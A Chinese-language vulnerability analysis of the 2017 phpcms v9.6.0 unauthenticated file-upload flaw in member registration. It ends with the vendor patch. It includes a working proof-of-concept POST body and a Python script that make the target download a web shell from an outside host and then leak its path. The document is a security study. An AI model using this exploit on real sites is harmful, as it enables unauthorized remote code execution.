一、配置信息
操作系统:Ubuntu16.04
Web容器:Apache/2.4.18
PHP版本:PHP5.6
二、漏洞简介
2017年4月份phpcms v9.6.0被爆出任意文件上传漏洞,该漏洞可在未登录的情况下前端getshell,影响面非常大。其根本问题在于注册时可通过变量控制改变程序逻辑,使其加载一个远程的文件到本地,而又因为程序对远程URL处理不当导致后缀名可控,于是就可上传shell。
三、漏洞分析
漏洞发生在注册功能,文件位置:phpcms\modules\member\index.php
在130行有一个“附表信息验证”的if块
这里将用户提交的info参数(数组)进行了两步处理然后赋值给了user_model_info,第一步处理使用new_html_special_chars函数进行HTML转义;第二步处理进入了get函数,跟进去看一下,文件位置:caches\caches_model\caches_data\member_input.class.php。
其中在47行有一步处理为
fields在构造函数声明为
而modelid变量是可控的,通过POST方式提交,如果其值为1,那么fields获取的就是model_field_1.cache.php的数据,model_field_1.cache.php定义了一个超长的二维数组,其中262行定义了如下内容
在member_input.class.php文件中向下找即可找到editor函数的定义。
也就是说,如果我们在注册时令变量modelid=1,那么我们提交的info数组就会经过editor函数的处理。然后进入了download函数,其文件位置为:phpcms\libs\classes\attachment.class.php
上述代码最后一行,程序先对远程文件地址进行正则匹配,如果是非法文件则直接退出。接下来使用fillurl对远程链接进行处理
在300处fillurl函数的处理过程中,将URL中“#”后面的内容截断,只保留前面的内容,也就是说如果链接为http://abc.com/1.php#.jpg,那么处理后的链接为http://abc.com/1.php。
回到download函数166行的位置,获取文件后缀,此时获取的后缀是经过fillurl函数处理的,也就说对于用户来说这里变得可控。
后面就是将远程文件下载到本地,首先是生成了文件地址+后缀,然后使用upload_func函数下载,upload_func函数在构造函数中定义为copy,就是直接将远程文件复制过来。
这里新文件名的规则是:
uploadfile/年份/月日/时间具体到秒+3位100-999之间的随机字符+文件后缀
虽然有随机数字但因为规律比较明显得到shell后已经可以爆破了。不过还有方法直接可以将shell地址爆出来。回到register函数,在150行的位置有个插入操作。把userid加入user_model_info后插入到数据库,完成添加用户的操作。
对应的表是v9_member_detail,其表结构为
但是由于前面我们说过modelid变量要被修改为1,所以此时user_model_info数组中并没有birthday这个元素,而是content,这时强行插入则会导致报错,直接将shell路径爆出来。
四、漏洞利用
POC为:
siteid=1&modelid=1&username=test2&password=123456&email=1234%40qq.com&dosubmit=1&protocol=&info[content]=href=http://192.168.228.135/shell.txt?.php#.jpg
执行效果
Python代码:
def poc(url):
u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url)
data = {
'siteid': '1',
'modelid': '1',
'username': '11adqe65691',
'password': 'testxx',
'email': '11adqe65691@test.com',
'info[content]': '<img src=http://www.***.net/shell.txt?.php#.jpg>',
'dosubmit': '1',
}
rep = requests.post(u, data=data)
shell = ''
re_result = re.findall(r'<img src=(.*)>', rep.content)
if len(re_result):
shell = re_result[0]
print shell
新版本对其打的补丁为
将文件拓展名进行了二次检测。